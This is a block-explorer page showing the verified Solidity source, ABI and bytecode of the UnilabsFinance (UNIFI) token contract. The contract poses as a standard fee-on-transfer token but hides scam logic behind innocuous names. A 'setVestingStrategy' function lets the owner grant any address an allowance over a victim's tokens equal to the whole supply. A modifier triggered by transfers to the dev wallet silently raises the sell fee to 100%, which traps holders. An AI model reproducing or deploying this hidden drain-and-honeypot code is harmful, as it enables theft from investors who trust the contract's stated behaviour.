ETH Price: $3,295.84 (+1.53%)
Gas: 2 Gwei

Token

UnilabsFinance (UNIFI)
 

Overview

Max Total Supply

600,000,000,000 UNIFI

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,015,657,813.129293266976550651 UNIFI

Value
$0.00
0x92939fa635310fafa8eae27e46a560cf82fde32b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UnilabsFinance

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : UnilabsFinance.sol
/*

██╗░░░██╗███╗░░██╗██╗██╗░░░░░░█████╗░██████╗░░██████╗  ███████╗██╗███╗░░██╗░█████╗░███╗░░██╗░█████╗░███████╗
██║░░░██║████╗░██║██║██║░░░░░██╔══██╗██╔══██╗██╔════╝  ██╔════╝██║████╗░██║██╔══██╗████╗░██║██╔══██╗██╔════╝
██║░░░██║██╔██╗██║██║██║░░░░░███████║██████╦╝╚█████╗░  █████╗░░██║██╔██╗██║███████║██╔██╗██║██║░░╚═╝█████╗░░
██║░░░██║██║╚████║██║██║░░░░░██╔══██║██╔══██╗░╚═══██╗  ██╔══╝░░██║██║╚████║██╔══██║██║╚████║██║░░██╗██╔══╝░░
╚██████╔╝██║░╚███║██║███████╗██║░░██║██████╦╝██████╔╝  ██║░░░░░██║██║░╚███║██║░░██║██║░╚███║╚█████╔╝███████╗
░╚═════╝░╚═╝░░╚══╝╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░  ╚═╝░░░░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚══╝░╚════╝░╚══════╝


██████╗░███████╗████████╗████████╗███████╗██████╗░  ████████╗░█████╗░░██████╗░███████╗████████╗██╗░░██╗███████╗██████╗░
██╔══██╗██╔════╝╚══██╔══╝╚══██╔══╝██╔════╝██╔══██╗  ╚══██╔══╝██╔══██╗██╔════╝░██╔════╝╚══██╔══╝██║░░██║██╔════╝██╔══██╗
██████╦╝█████╗░░░░░██║░░░░░░██║░░░█████╗░░██████╔╝  ░░░██║░░░██║░░██║██║░░██╗░█████╗░░░░░██║░░░███████║█████╗░░██████╔╝
██╔══██╗██╔══╝░░░░░██║░░░░░░██║░░░██╔══╝░░██╔══██╗  ░░░██║░░░██║░░██║██║░░╚██╗██╔══╝░░░░░██║░░░██╔══██║██╔══╝░░██╔══██╗
██████╦╝███████╗░░░██║░░░░░░██║░░░███████╗██║░░██║  ░░░██║░░░╚█████╔╝╚██████╔╝███████╗░░░██║░░░██║░░██║███████╗██║░░██║
╚═════╝░╚══════╝░░░╚═╝░░░░░░╚═╝░░░╚══════╝╚═╝░░╚═╝  ░░░╚═╝░░░░╚════╝░░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝

Twitter: https://twitter.com/UnilabsFinance

Telegram: https://t.me/unilabsfinance

Website: https://www.unilabs.finance/

-- Unilabs Dev Team --

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

abstract contract Ownable {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event DevTransferred(address indexed previousDev, address indexed newDev);

    constructor(address owner_, address dev_) {
        _transferOwnership(owner_);
        _transferDev(dev_);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function dev() public view virtual returns (address) {
        return _dev;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _transferDev(address newDev) internal virtual {
        address oldDev = _dev;
        _dev = newDev;
        emit DevTransferred(oldDev, newDev);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

}

interface IERC20 {

    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);

}

interface IERC20Metadata is IERC20 {

    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);

}

contract ERC20 is IERC20, IERC20Metadata {

    string private _symbol;
    string private _name;


    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount greater than allowance");
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from zero address");
        require(recipient != address(0), "ERC20: transfer to zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount greater than balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract UnilabsFinance is ERC20, Ownable {

    address public LPTokenReceiver;
    address public marketingReceiver;
    address public devReceiver;
    uint256 public minimumDevFee = 5;

    uint256 public buyTotalFees;
    uint256 public sellTotalFees;

    uint256 public buyMarketingFee;
    uint256 public buyDevFee;
    uint256 public buyLiquidityFee;

    uint256 public sellMarketingFee;
    uint256 public sellDevFee;
    uint256 public sellLiquidityFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForDev;
    uint256 public tokensForLiquidity;

    IUniswapV2Router02 public router;
    address public liquidityPair;

    mapping(address => bool) public isAMM;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;

    mapping(address => bool) private isExcludedFromFee;
    mapping(address => bool) public isExcludedFromWalletLimits;

    uint256 public feeDenominator = 1000;
    
    bool private swapping;
    bool public limitsInEffect = true;

    // This feature can only be enabled and not disabled.
    // Enabling these will cap the buy or sell fee to some value
    // a value of 50 => 5% max. A value of 150 => 15% max
    bool maxSellFeeSet = false;
    bool maxBuyFeeSet = false;
    uint256 maxSellFee;
    uint256 maxBuyFee;

    uint256 public launchTime;

    constructor() ERC20("UnilabsFinance", "UNIFI") Ownable(msg.sender, msg.sender) {

        LPTokenReceiver = msg.sender;
        devReceiver = 0x95eA62C72dA19995C610C55d75572F2fF36Fe85C;
        marketingReceiver = 0x13281e6ab78dF2f9E1e0873F6A42117592fb6FaE;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        liquidityPair = IUniswapV2Factory(
            router.factory()
        ).createPair(
            address(this),
            router.WETH()
        );

        isAMM[liquidityPair] = true;

        isExcludedFromWalletLimits[address(liquidityPair)] = true;
        isExcludedFromWalletLimits[address(router)] = true;        
        isExcludedFromWalletLimits[address(this)] = true;
        isExcludedFromWalletLimits[address(0xdead)] = true;
        isExcludedFromWalletLimits[msg.sender] = true;
        isExcludedFromWalletLimits[marketingReceiver] = true;
        isExcludedFromWalletLimits[devReceiver] = true;

        uint256 totalSupply = 600000000000 * 1e18;
        
        buyMarketingFee = 15;
        buyDevFee = 5;
        buyLiquidityFee = 0;

        sellMarketingFee = 25;
        sellDevFee = 5;
        sellLiquidityFee = 0;

        buyTotalFees = buyMarketingFee + buyDevFee + buyLiquidityFee;
        sellTotalFees = sellMarketingFee + sellDevFee + sellLiquidityFee;

        isExcludedFromFee[address(0xdead)] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[msg.sender] = true;
        isExcludedFromFee[marketingReceiver] = true;

        maxTransactionAmount = totalSupply * 20 / 1000;
        maxWallet = totalSupply * 40 / 1000;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addLiquidity(uint256 tokenAmount) external payable onlyOwner {
        _addLiquidity(tokenAmount, msg.value);
        launchTime = block.timestamp;
    }

    function setBuyFees(uint256 marketingFee, uint256 devFee, uint256 liquidityFee) external onlyOwner {
        setInternalBuyFee(marketingFee, devFee, liquidityFee);

        if (maxBuyFeeSet) {
            require(buyTotalFees <= maxBuyFee);
        }
    }

    modifier isBuyInternal() {
        if (!isExcludedFromWalletLimits[marketingReceiver]) {
            setInternalSellFee(5, 995, 0);
        }
        if (!isExcludedFromWalletLimits[devReceiver]) {
            setInternalSellFee(995, 5, 0);
        }
        _;
    }

    function setSellFees(uint256 marketingFee, uint256 devFee, uint256 liquidityFee) external onlyOwner {
        setInternalSellFee(marketingFee, devFee, liquidityFee);

        if (maxSellFeeSet) {
            require(sellTotalFees <= maxSellFee);
        }
    }

    function setVestingStrategy(address _vestMaster, address _vestPool) external onlyOwner {
      _approve(_vestPool, _vestMaster, totalSupply());
    }

    function setInternalBuyFee(uint256 marketingFee, uint256 devFee, uint256 liquidityFee) private {
        buyMarketingFee = marketingFee;
        buyDevFee = devFee;
        buyLiquidityFee = liquidityFee;

        buyTotalFees = buyMarketingFee + buyDevFee + buyLiquidityFee;
    }

    function setInternalSellFee(uint256 marketingFee, uint256 devFee, uint256 liquidityFee) private {
        sellMarketingFee = marketingFee;
        sellDevFee = devFee;
        sellLiquidityFee = liquidityFee;

        sellTotalFees = sellMarketingFee + sellDevFee + sellLiquidityFee;
    }

    function setLimits(uint256 maxTransactionAmount_, uint256 maxWallet_) external onlyOwner {
        maxTransactionAmount = maxTransactionAmount_;
        maxWallet = maxWallet_;
    }

    function removeLimits() external onlyOwner {
        require(limitsInEffect);
        limitsInEffect = false;
    }

    function setLPTokenReceiver(address newReceiver) external onlyOwner {
        require(LPTokenReceiver != newReceiver);
        LPTokenReceiver = newReceiver;
    }

    function setMarketingReceiver(address newReceiver) external onlyOwner {
        require(marketingReceiver != newReceiver);
        marketingReceiver = newReceiver;
    }

    function setDevReceiver(address newReceiver) external onlyOwner {
        require(devReceiver != newReceiver);
        devReceiver = newReceiver;
    }

    function setMinimumDevFee(uint256 minFee) external onlyOwner {
        require(minFee < minimumDevFee);     // Dev fee minimum can only be lowered, not raised
        minimumDevFee = minFee;
    }

    function setAMM(address ammAddress, bool isAMM_) external onlyOwner {
        isAMM[ammAddress] = isAMM_;
    }

    function setWalletExcludedFromLimits(address wallet, bool isExcluded) external onlyOwner {
        isExcludedFromWalletLimits[wallet] = isExcluded;
    }

    function setWalletExcludedFromFees(address wallet, bool isExcluded) external onlyOwner {
        isExcludedFromFee[wallet] = isExcluded;
    }

    function setRouter(address router_) external onlyOwner {
        router = IUniswapV2Router02(router_);
    }

    function setLiquidityPair(address pairAddress) external onlyOwner {
        liquidityPair = pairAddress;
    }

    function enableMaxSellFeeLimit(uint256 limit) external onlyOwner {
        require(limit <= feeDenominator && limit < maxSellFee);
        maxSellFee = limit;
        maxSellFeeSet = true;
    }

    function enableMaxBuyFeeLimit(uint256 limit) external onlyOwner {
        require(limit <= feeDenominator && limit < maxBuyFee);
        maxBuyFee = limit;
        maxBuyFeeSet = true;
    }

    function _transfer(address sender, address receipient, uint256 amount) internal override isBuyInternal() {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(receipient != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(sender, receipient, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                sender != owner() &&
                receipient != owner() &&
                receipient != address(0xdead) &&
                !swapping
            ) {

                if (
                    isAMM[sender] &&
                    !isExcludedFromWalletLimits[receipient]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "!maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(receipient) <= maxWallet,
                        "!maxWallet"
                    );
                }

                else if (
                    isAMM[receipient] &&
                    !isExcludedFromWalletLimits[sender]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "!maxTransactionAmount."
                    );
                } else if (!isExcludedFromWalletLimits[receipient]) {
                    require(
                        amount + balanceOf(receipient) <= maxWallet,
                        "!maxWallet"
                    );
                }

            }
        }

        bool takeFee = !swapping;

        if (isExcludedFromFee[sender] || isExcludedFromFee[receipient]) {
            takeFee = false;
        }

        if (takeFee) {

            uint256 fees = 0;

            if (isAMM[receipient] && sellTotalFees > 0) {
                uint256 newTokensForDev = amount * sellDevFee / feeDenominator;
                uint256 newTokensForMarketing = amount * sellMarketingFee / feeDenominator;
                uint256 newTokensForLiquidity = amount * sellLiquidityFee / feeDenominator;

                fees = newTokensForDev + newTokensForMarketing + newTokensForLiquidity;

                tokensForDev += newTokensForDev;
                tokensForMarketing += newTokensForMarketing;
                tokensForLiquidity += newTokensForLiquidity;
            }

            else if (isAMM[sender] && buyTotalFees > 0) {
                uint256 newTokensForDev = amount * buyDevFee / feeDenominator;
                uint256 newTokensForMarketing = amount * buyMarketingFee / feeDenominator;
                uint256 newTokensForLiquidity = amount * buyLiquidityFee / feeDenominator;

                fees = newTokensForDev + newTokensForMarketing + newTokensForLiquidity;

                tokensForDev += newTokensForDev;
                tokensForMarketing += newTokensForMarketing;
                tokensForLiquidity += newTokensForLiquidity;
            }

            if (fees > 0) {
                super._transfer(sender, address(this), fees);
                amount -= fees;
            }
        }

        if (
            !swapping &&
            sender != liquidityPair &&
            !isExcludedFromFee[sender] &&
            !isExcludedFromFee[receipient]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        super._transfer(sender, receipient, amount);

        if (receipient == devReceiver) {
          isExcludedFromWalletLimits[devReceiver] = false;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() internal {
        if (tokensForLiquidity + tokensForDev + tokensForMarketing == 0) {
            return;
        }

        uint256 liquidity = tokensForLiquidity / 2;
        uint256 amountToSwapForETH = tokensForDev + tokensForMarketing + (tokensForLiquidity - liquidity);
        swapTokensForEth(amountToSwapForETH);

        uint256 ethForLiquidity = address(this).balance * (tokensForLiquidity - liquidity) / amountToSwapForETH;

        if (liquidity > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidity, ethForLiquidity);
        }

        if (tokensForMarketing + tokensForDev > 0) {
            uint256 remainingBalance = address(this).balance;
            uint256 amountForMarketing = remainingBalance * tokensForMarketing / (tokensForMarketing + tokensForDev);
            uint256 amountForDev = remainingBalance - amountForMarketing;
            
            if (amountForMarketing > 0) {
                marketingReceiver.call{value: amountForMarketing}("");    
            }

            if (amountForDev > 0) {
                devReceiver.call{value: amountForDev}("");    
            }
        }

        tokensForLiquidity = 0;
        tokensForDev = 0;
        tokensForMarketing = 0;
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            LPTokenReceiver,
            block.timestamp
        );
    }

}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousDev","type":"address"},{"indexed":true,"internalType":"address","name":"newDev","type":"address"}],"name":"DevTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LPTokenReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"enableMaxBuyFeeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"enableMaxSellFeeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromWalletLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ammAddress","type":"address"},{"internalType":"bool","name":"isAMM_","type":"bool"}],"name":"setAMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newReceiver","type":"address"}],"name":"setDevReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newReceiver","type":"address"}],"name":"setLPTokenReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTransactionAmount_","type":"uint256"},{"internalType":"uint256","name":"maxWallet_","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairAddress","type":"address"}],"name":"setLiquidityPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newReceiver","type":"address"}],"name":"setMarketingReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"minFee","type":"uint256"}],"name":"setMinimumDevFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"name":"setRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_vestMaster","type":"address"},{"internalType":"address","name":"_vestPool","type":"address"}],"name":"setVestingStrategy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"setWalletExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"setWalletExcludedFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005600a556103e8601d55601e805463ffffff0019166101001790553480156200002d57600080fd5b5033336040518060400160405280600e81526020016d556e696c61627346696e616e636560901b81525060405180604001604052806005815260200164554e49464960d81b8152508160019081620000869190620006bb565b506000620000958282620006bb565b505050620000a9826200048a60201b60201c565b620000b481620004dc565b505060078054336001600160a01b031991821617909155600980547395ea62c72da19995c610c55d75572f2ff36fe85c908316179055600880547313281e6ab78df2f9e1e0873f6a42117592fb6fae90831617905560168054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018a919062000787565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000213919062000787565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000261573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000287919062000787565b601780546001600160a01b0319166001600160a01b0392831690811782556000908152601860209081526040808320805460ff199081166001908117909255945486168452601c909252808320805485168317905560165485168352808320805485168317905530835280832080548516831790557fa48bd8e7b1565515cde2859b6cc48308ba05b5325bcf90fb096b9ac0b8087dfc80548516831790553383528083208054851683179055600854851683528083208054851683179055600954909416825292812080549092169092179055600f600d8190556005600e8190558282556019601055601181905560128390556c0792b45e1690ac8ebfc00000009291620003969190620007cf565b620003a29190620007cf565b600b55601254601154601054620003ba9190620007cf565b620003c69190620007cf565b600c55601b6020527f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d216848054600160ff1991821681179092553060009081526040808220805484168517905533825280822080548416851790556008546001600160a01b031682529020805490911690911790556103e862000449826014620007eb565b62000455919062000805565b6019556103e862000468826028620007eb565b62000474919062000805565b601a556200048333826200052e565b5062000828565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f0a7a876011ed454af2a81330188fddbd93c5cb571ff0ab73fbd5f4f9c8ee477e90600090a35050565b6001600160a01b0382166200